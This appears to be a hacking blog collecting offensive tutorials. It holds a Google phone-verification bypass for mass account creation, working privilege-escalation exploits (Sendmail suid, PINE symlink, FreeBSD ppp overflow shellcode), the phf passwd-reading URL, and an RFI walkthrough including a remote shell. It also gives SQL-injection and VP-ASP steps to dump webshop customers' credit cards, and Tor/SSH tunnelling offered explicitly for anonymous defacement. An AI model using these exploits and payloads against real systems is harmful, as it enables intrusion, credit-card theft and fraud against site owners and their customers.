H4ck T0 Le4rn 0r Le4rn To H4ck

Bypass google Mobile Verification

2016-01-30T02:43:00.001-08:00

Step 1
First of all your going to need the app textPlus. Download from your app store or click below.

Download

Step 2
Register with a valid email and to get a phone number with textPlus by clicking the top left button
and then the settings symbol. (Little Gear)
Next copy down the number you received as you will need it later.

Step 3
Head over you and click----->Sign In----->Create an Account. Or click this link
Sign up Page- Google!
Now fill in any information you want for your account and DONT enter your phone number or your current email address.
Click Next step and the phone verification will pop up.
Now, this is the important part. Put in your textPlus number and select the option of Voice Call rather then text.

Grab your mobile device and hit Continue. You will get the call and simply enter in the numbers it tells you

Success! you now have a google account with a verified cell phone.
The problem is you only have 10 cents on you account. Each call in 2 cents so thats 5 google accounts. Easy fix.
Go to your textPlus settings----->Credits----->Watch Videos/Complete Offers.
Watch videos for 2/1 cents and complete offers for a dollar or more. Have all you google accounts you want!

The Ultimate Guide Hacking Webpages

2016-01-30T02:04:00.000-08:00

Hacking Webpages
The Ultimate Guide

One of the most helpful unix text files in cyberspace but wi
th the mail that we recieved after the release of our famous 36 page Unix Bible w
e realised that unix isn't for everybody so we decided that we should write on an
other aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "
Hacking Webpages With a few Other Techniques." We will discuss a few various way
s of hacking webpages and getting root. We are also going to interview and quest
ion other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous
ftp access into a webpage. First you need learn a little about the password file.
..

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the par
t that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little differen
ce, it's shadowed. Shadowed password files don't let you view or copy the actual
encrypted password. This causes problems for the password cracker and dictionary
maker(both explained later in the text). Below is another example of a shadowed
password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.

Now that you know a little more about what the actual password file looks like yo
u should be able to identify a normal encrypted pw from a shadowed pw file. We ca
n now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the file
s vary from system to system. 1.The first step that you would take is to download
or copy the file. 2. The second step is to find a password cracker and a diction
ary maker. Although it's nearly impossible to find a good cracker there are a few
ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, B
rute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionar
y file... When you start a cracking prog you will be asked to find the the passw
ord file. That's where a dictionary maker comes in. You can download one from nea
rly every hacker page on the net. A dictionary maker finds all the possible lett
er combinations with the alphabet that you choose(ASCII, caps, lowercase, and num
eric letters may also be added) . We will be releasing our pasword file to the p
ublic soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we
know it will be one of the largest in circulation. 3. You then start up the crack
er and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybod
y already knows it and most servers have already found out about the bug and fixe
d it. But since I have been asked questions about the phf I decided to include it
.

The phf technique is by far the easiest way of getting a password file(although i
t doesn't work 95% of the time). But to do the phf all you do is open a browser a
nd type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get t
he pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complic
ated then hacking through ftp or using the phf. Before you can setup an exploit y
ou must first have a telnet proggie, there are many different clients you can jus
t do a netsearch and find everything you need.
It’s best to get an account with your target(if possible) and view the glitches f
rom the inside out. Exploits expose errors or bugs in systems and usually allow y
ou to gain root access. There are many different exploits around and you can view
each seperately. I’m going to list a few below but the list of exploits is endle
ss.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it
up:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
-f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi

and now on to another exploit. I’m going to display the pine exploit through linu
x. By watching the process table with ps to see which users are running PINE, on
e can then do an ls in /tmp/ to gather the lockfile names for each user. Watchin
g the process table once again will now reveal when each user quits PINE or runs
out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a ge
neric example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE'
s process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors
_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while cat
luvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploita
tion script for the ppp vulnerbility as described by no one to date, this is NOT
FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set
it up:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20
bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15
bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you’ve gotten root "what’s next?" Well the choice is up to you but I wou
ld recommend changing the password before you delete or change anything. To chang
e their password all you have to do is login via telnet and login with your new a
ccount. Then you just type: passwd and it will ask you for the old password firs
t followed by the new one. Now only you will have the new pw and that should last
for a while you can now upload you pages, delete all the logs and just plain do
your worstJ Psychotic writes our own exploits and we will be releasing them soon,
so keep your eyes open for them. We recommend that if you are serious about lear
ing ethnical hacking that you download our Unix Bible.

Hacking 40 best tips

2015-06-26T08:42:00.000-07:00

1) Learning scripting languages such as Python, Perl and ruby can help you automate your tasks and for sure improve your skills.

2) Understanding all possible user inputs is the fastest way to
hack into the systems.

3) When u gain access to an account or whatever u hacking in
to, best practice do not alter anything. just monitor the activity
and continue fetching information u need.

4) Travel and see different countries, it will make you better.

5) Never hesitate for usage of Google and other resources available i.e. exploit-db, and be updated with versions and bugs in each versions, for example, if I talk about WordPress, then one who is looking to hack WordPress website or pentest, then he should be well aware of at least 3.0+ versions updating, so whichever version is being used on the website, he should know the vulnerabilities in that and their exploitation.

6) RTFM, don't expect handouts. Educated questions, gets
you educated answers.

7) Move to Linux, learn Programming Languages C, Pearl, Lisp, Java and Html and write open source programs.
Improve your functional English.

8) The most important factor for becoming a good hacker is, you
must have your personal interest with computers. Additionally,
you have to be definite in your work, such that you should take
exactly interest in One thing at a single time. After covering the
appropriate level of theory, the learner should try it practically as
much as his satisfaction level. Watching Tutorials only for taking
points, not really for following them from a to z exactly, because
you have to be a good learner only if you have your personal intention
for doing the things creatively.

9) One thing , Learn how old Hackers Started don't focus on new
Programs like BACKTRACK , METASPLOIT , Learn Manual Hacking ,
Learn Coding and be patient ! Knowledge will come with time !
and practice all methods.

10) Do not rely on tricks for hacking. As they will keep you a script
kiddie, get deep understanding about stuffs. And also don't rush
from one topic to another. All those combined will make you a better
hacker. "Slow and Steady wins the race".

11) A support will always lift you up. Join groups, forums. Keep yourself updated with latest hacking news by reading blogs [Like this ], tweets etc.

12) Understand what programming language to use at what moment.
You're time is valuable so don't waste it writing something that
could have been done faster! (and understand the difference
between a scripting language and a programming language,
python for example is a programming language.

13) During hacking remain mentally intact and focus on your
each step. During a step always remember your next steps
and the way you have to link them. Dont always use old methods
and tricks, try new one and use your own mind too. and remember
one thing that there is no shortcut of Hacking, to became a hacker
, you have to give your whole passion to hacking. "
Hacking is an Art, and Hacker is an Artist".

14) This Attitude should be there within "SWEAT MORE IN PRACTISE,
SO YOU BLEED LESS IN WAR".

15) Whatever you're going to test,start it with a basic stuff.
If you dont know any,start learning.

16) Enumeration is the key to pwnage, the more you
enumerate the more attack surface you get.

17) Be patient! Learn different protocols and read the RFCs
to understand how they work and if there are some "security
by design" issues. After that you should try to understand the
context you're in and therefore develop an exploit for this
particular context.

18) Sleep less, read more. Learn & Think & Try & Fail &
Never give up. Remember, "...imagination will take you everywhere".

19) Don't compete anyone, never think you are the best, just
compete "the you in the past". There will always be a vulnerability
waiting for being discovered, by someone who thinks different
Understanding human logic makes things easier. "Hackers realize, kiddies memorize".

20) Learn your own systems inside out, before moving on to other
systems. The better you know your own, the more capable you will
find yourself when it comes time to make your system work for you.

21) To be a good hacker, you need have good social engineering skills.
Try to understand your victim's mentality, it will give you the ability
to guess his/her confidential information.

22) A great person had said "if i had 8 hours to chop down a tree,
I'd spend 6 hours sharpening my axe". Apply this on yourself.
Prepare yourself! Learn programming, networking, scripting and
all, be passionate, motivate yourself then start hacking with your
own ideas...You will surely win!.

23) Use your inner power to became a great hacker. Just keep reading
.. The more you read..the more you understand things behind the scene.

24) A startup now can be just a pair of 22 year old guys. A company like that can move much more easily than one with 10 people, half of whom have kids.

25) Think of all the psychic energy expended in seeking a fundamental distinction between "algorithm" and "program".

26) If you don't have time to do it right, when will you have time to do it over? ~Sunny Rockzzzz
27) Out in the field, any connection with home just makes you weaker. It reminds you that you were once civilized, soft; and that can get you killed faster than a bullet through the head.”

28) Most hackers are young because young people tend to be adaptable. As long as you remain adaptable, you can always be a good hacker.”

29) Be very careful. We suggest getting a book on HTML to avoid becoming a real legend in the hacker world. Putting up a web page before you know how to put up a web page is generally a very bad idea. The .gov sites are an exception.

30) We were addicted to hacking, more for the intellectual challenge, the curiosity, the seduction of adventure; not for stealing, or causing damage or writing computer viruses.

31) To be a good hacker you have to learn from yourself. Learn from books like "The basics of ethical hacking and pen testing" and "The web app hackers handbook-Ed.2". Once you learnt these books i promise you will be able to hack systems as well as web apps.

32) Try to see, feel and possibly touch everything that you learn, only then you will be confident about your attacks/defenses.

33) Adopt the mindset of a hacker.

34) You may not be there yet but with everyday practice you will be closer than yesterday.

35) Set of code has to be made by a hacker Don't get caught Learn the basic functionality of a system and network then explore their loop holes Every developer make mistake while developing identify the exploit and notify them to the develope.

36) Learn Russian. Every infosecurity geek should know Russian.

37) When you learn something in this field, always put it to good use .Defacing websites will not make you a better hacker, but, helping someone with their security might earn you a respect even higher than what a blackhat may get.

38) Learn how the technology you are trying to hack works inside and out before you try to hack it. It's much easier to find a way in if you understand exactly how and why the technology works.

39) Be consistent. If you want to learn, dedicate a certain amount of time every week to learning. Don't take breaks because you will forget things. When it comes to ethical hacking, you have to learn and understand certain things before you can move on to understanding something else. Building on top of itself.

40) Behind every successful Coder there an even more successful De-coder to understand that code -HackersAuthority

RFI Full Tutorial For All New N00bs

2012-10-26T06:23:00.002-07:00

In this Tutorial,

I'll explain

Intro: What is RFI??

1.Understanding RFI

2.Finding RFI vulnerabilities

3.Exploiting RFI vulnerabilities

4.Securing RFI vulnerabilities

RFI means Remote file inclusion.

RFI is a type of web application security hole.

On the net, there are so many sites which are vulnerable to RFI.

In this tutorial, I am going to show you RFI with PHP.

PHP is a web script engine. Its the most widely used one so that's why I am using it in this tutorial.

Learn more about PHP: http://php.net

http://en.wikipedia.org/wiki/PHP

To understand what file inclusion is I am going to show a little example.

This is an example site in PHP:

PHP Code:<?php $content = “Hello and welcome to the site”;?><html><head><title>Hello world</title></head><body>
<?php echo($content); ?>
</body></html>

This is a very basic page. But as your page expands you might

want to put the individual pages in their own files and include them in

the main file depending on user input.

This way, when you got pages with perhaps 10k lines of PHP code you don't have to use hours looking

for the bit of code you want to edit/view.

By user input I mean things like a URL GET argument. A GET argument could look like this:

HTML

www.site.com/index.php?page=index

In the above example the PHP script would see the “page=index” and then show the content of “index”. The “index” can be anything, can be a file, SQL value, hard-coded variable. If it is a file, then the PHP script is most likely using the include() function and that is file inclusion.

1.Understanding RFI

So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?

Well, lets say we got 2 files.
index.php
content.php

The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.

All you would need to do is put this PHP script in the index.php:

(php)

PHP Code:
<?php include(“content.php”); ?>

Now we are showing the contents of content.php when the user visits index.php. If content.php was to include more PHP code it would also get executed.

That is it. We just did file inclusion! However, this example is just a dummy page and would most likely not be found in real life.

Lets create a new scenario. A more realistic scenario. We got the following files/pages:

index.php
1.php
2.php
3.php

Now, index.php is again the file the users are going to visit. On the default index we are going to display 3 links.

www.site.com/index.php?page=1
www.site.com/index.php?page=2
www.site.com/index.php?page=3

When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.

The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):

Code: (php)

PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . “.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}

The content of 1,2 and 3 is not important in this example so I wont say anything about that.

Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1

The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.

Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.

The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4

That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:

Warning: include(page4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Warning: include() [function.include]: Failed opening 'page4.php' for inclusion (include_path='.;PATH') in PATH\index.php on line 3

This would tell us that the include() function used in this script is not secured and can be exploited. The way you exploit it is by getting it to include your code so that you can control the server. This is where the “remote” part of RFI comes in. You can create a PHP script and save it as .txt, upload it to a server and then visit something like this:

http://www.site.com/index.php?page=http://hacker.com/shell.txt?

Note that the ? is to get rid of the “.php” at the end as we did not name the file .txt.php and also if you where to try to include a .php file from a remote server it will only give the executed output of the PHP file.

Now we have successfully put out code in the PHP engine of the victim server and we are free to do whatever you can do with PHP. Which is mostly anything.

2.Finding RFI vulnerabilities

Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.

Here is a few examples of GET arguments manipulating:

www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz

Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.

There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.

3.Exploiting RFI vulnerabilities

Lets say that you have successfully found a vulnerable page.

The URL is www.site.com/index.php?page=index

The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.

What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.

Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.

4.Securing RFI vulnerabilities

Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).

Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.

Dynamic:

PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . “.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}

Hardcoded:

PHP Code:
if (isset($_GET['page']))
{
   if ($_GET['page'] == “page1”)
      include(“1.php”);

   if ($_GET['page'] == “page2”)
      include(“2.php”);

   if ($_GET['page'] == “page3”)
      include(“3.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}

Webshop Hacking (Credit Cards)

2012-10-08T07:48:00.000-07:00

Hey Guys Its -W1n_h4ck3r

1) we got to search google for webshops , I used this dork :

inurl:customer_testimonials.php testimonial_id=

2)lets say we got this site

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7

3) we got to check if its vulnerable to SQLi , we add this ' to URL

url :

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7'

if we get a error means website its vuln.

4) we have to check for column number we try with 10 first

+order+by+10--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+order+by+10--

if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns

5 )this time we get a error now we try from 1 to 9

+union+select+1,2,3,4,5,6,7,8,9--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,3,4,5,6,7,8,9--

now we found it the website has 9 columns

6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :

*- database user

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,user(),4,5,6,7,8,9--

*- database name

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,database(),4,5,6,7,8,9--

*- database version

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,version(),4,5,6,7,8,9--

7) we need the table names we add this to url :

+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

now we need columns : we add this to url :

+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

9) now all we got to do is view the orders and customers infos (there are the credit cards) : if we add this to url we will get credit card numbers , payment method , credit card type ......

+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9fromorders--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9+from+orders--

if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them

+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

http://www.JustExample.com
/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

now one step left

10 ) get the credit cards and have fun

This IS Just For Educationlly Purpose

Hack Shop Admins And Get CC

2012-05-20T08:02:00.000-07:00

VP-ASP shopadmin vulnerability to gain access to a list of credit card numbers, addresses and other details customers have

entered.
And for this you’ll need Microsoft Office Access.

1.Go to Google xD and add in the Search Bar inurl:”shopadmin.asp”
Just Administrator Shop admin

Note:
shopadmin.asp is the name of a certain webpage we can hack. Google can find those web pages for us with the “inurl” term.

“shop administrators only”

That is basically some of the text found on the web pages we can hack. So if the name of the web page is “shopadmin.asp”
and we find the text “shop administrators only” that page is hackable.

2. Now Google returns with our results. Choose any of those.
The Shopadmin.asp

3. Now it asks for a username and password. Don’t worry about this. In the address bar replace “shopadmin.asp” with

“shopdbtest.asp”

It should take you to a page with some infs on it. Next to where it says “xDatabase” is the name of the database.

After Finding the Page Shopdbtest.asp Replace With
shopping.mdb

4. Download the database file and open it up with Access or your other software. Find “customers” and you’ll have a list of
customer details.

5. Have fun!

6. Press Thanks And + rep To me For the Hard Work xD

————————————————————————————

VP-ASP 6.50

1. Dork : ” powered by vpasp v 6.50 ”

2. Change the url to http://www.xxxxxx.com/database/shopping650.mdb

3. Admin page : shopadmin.asp

The mdb Viewer After Downloading The Shopping.mdb Download The Program From here
xD
DB Viewer .
After opining the DB
u can search for Details will come up search and take :P
have Fun

Stay Anonymous And Secure by SSH Tunneling + TOR [PICTURES]

2012-04-29T23:05:00.000-07:00

Hello All,
I know all of you are scared to hack/deface a website without taking precautions.
Most of you must not be having a good VPN which is paid and secure enough to do illegal stuffs. So today i will teach you how to stay completely secure without using any VPN :)

So first ,i would just tell some problems of free VPN's
They are slow and contain ads in most cases
Limited number of proxies
Very insecure
Store logs
Easily Traceable using Logs
Even when they say they do not store logs,they do it
They are not reliable

Tools Needed
TOR
PuTTY

TOR
Free software implementation of second-generation onion routing, a system enabling its users to communicate anonymously on the Internet.

PuTTY
PuTTY is a free implementation of Telnet and SSH for Windows and Unix platforms, along with an xterm terminal emulator.

Open PuTTY.
In The Category, choose Session.
In the Host Name,Type shellmix.com.
Type Port as 30.
Connection Type : SSH.
Now Click Open.
A Black Window will appear.
Enter Username and password as "newuser" [Password appears blank but its typed]

A Black Window Appears
Now enter a Login Name.
Enter a Password.
Enter another password For MySQL Database.
Enter Email Address.
Choose Editor and Enter pico.
Choose language : Enter us.
Choose Vhost : Enter shell.
Enter HDD : Enter hdd1 or hdd2.
Now press Enter to Continue.
Now ,your shell account is ready.Make sure you remember the username and password you created.

SSH TUNNELING
Re-Open PuTTY.
Hostname : shellmix.com.
Port : 22.
Now in category on the left,choose SSH.
Expand it and select Tunnel.
Destination : Dynamic.
Port : Any random port. (Example : 4545)
Click Add.

Click Open.
Enter Login name and Password that you created earlier
Leave this window open
Open TOR
Click Firefox > Options > Advanced > Network > Settings
Click Manual Proxy Configuration
Socks Host : 127.0.0.1
Port : 4545 (The port you used earlier in PuTTY)
Click OK
SSH Tunnel Is Ready.Go to http://www.ip2location.com/ and verify your fake IP

Thanks for reading my tutorial
Hope you will comment like and rep :)

MySQL Injection Ultimate Tutorial

2012-02-18T02:49:00.000-08:00

MySQL Injection Ultimate Tutorial

Sql Injection is one of the most common web application errors today. It is also one of the most deadliest because it allows remote users to access confidential information such as usernames and credit cards. With databases being the central core of our economy and all of our nations wealth being held in servers that may be able to be compromised by witty hackers, SQL Injection is a problem that needs to be addresses not to let hackers exploit these errors for their own good,pleasure, or challenge but rather to bring awareness to the fact that a simple error caused by a lazy or inexperienced programmer can cause consequences from a simple website deface to the leaking of millions of users financial information. To start this paper out, I provide you with an Outline for MySQL Injection attacks, which will also serve as a table of contents since each section will discuss a separate step in the exploitation process.
MySQL Injection Outline (table of contents):
In Part 1 (this part):
Section 1 - Intro to Basic Database Information
Section 2 – Steps to injections
1)Find out how to close the previous statement & find the right comment to use to end the injection
2)Check for magic quotes
3)Check to see if UNION works
4)Find the number of columns
5)Craft a union statement that doesnt cause an error and see which columns are outputted
6)Check the mysql version to see if information_schema is present
7)Get the desired column and table names
8)Get your data

In Part 2: (not done yet)
Section 1 – Advanced injections
1)Check for load_file()
2)Check for into outfile
3)Ddos the mysql server
4)login page injections
5)Possible failures - multi selects
6)Get past magic quotes - where, concat - no load_file
7)The no spaces bug
8)Getting past filters
9)Blind Injection
10)Advanced NOT IN

Before we start anything about inserting SQL commands and stealing data from columns and tables, we need to discuss the basics and all the terms that will be necessary for fully comprehending this paper. So lets begin this with some basic Database Server Info. By the end of this section you should fully understand the basics of databases and how they function on a user interaction level.
Section 1: Basic Database Information
Database(DB) Servers are servers that hold information. Information is stored in a type of holder called database, which is a certain section of the database that serves as a structured container that stores data in fully organized subsections which enable the quick and efficient withdrawal or insertion of data..
DB Servers can have many databases, each with a different use, such as web, which may hold content displayed or needed for the correct display of webpages open to the public, or intranet, which may include information needed by employees on the inside network of the company, etc. There are many types of database servers, but all are similar which few differences. Some common types are:
1)Mysql
2)MsSQL (Microsoft SQL Server)
3)Oracle
4)Microsoft Access
5)Postgre SQL
etc..
In this tutorial we will discuess one of the two most common, MySql (the other most common is MsSQL, then after that Microsoft Access).
DB's are made up of tables, each which hold a similar type of data such as user info or articles.Tables are made up of columns, which group the data into different types such as usernames, passwords, dates registered, etc.The actual data in a table is in a row, which are inserted into the database and have info for each column in the table - e.g. a username, password, etc

To help visualize visual of a database server would look like this:

Now, to access data from the server you would use SQL - Standard Query Language. This is similar to programming languages in that it has its own set of functions, operators, and syntax. This lets you select certain data that you want and choose the database, table, and columns that you want to access the rows in.
SQL has a set format for selecting data from the database. It looks like this:
SELECT column1,column2 FROM table
This is basically saying to go to table “table” and gets the data stored in columns “column1” and “column2” for all the rows (since the number is not specified, it takes them all. Ill show you how to specify how many next) .
But what if you only wanted two rows? Yes, you could still retrieve all the rows then sort it out with commands in php, but that’s inneficient. Say you wanted the FIRST 2 usernames & passwords from table users of database webinfo (for injections you usually dont have to put the database, its already selected in the code)You would use
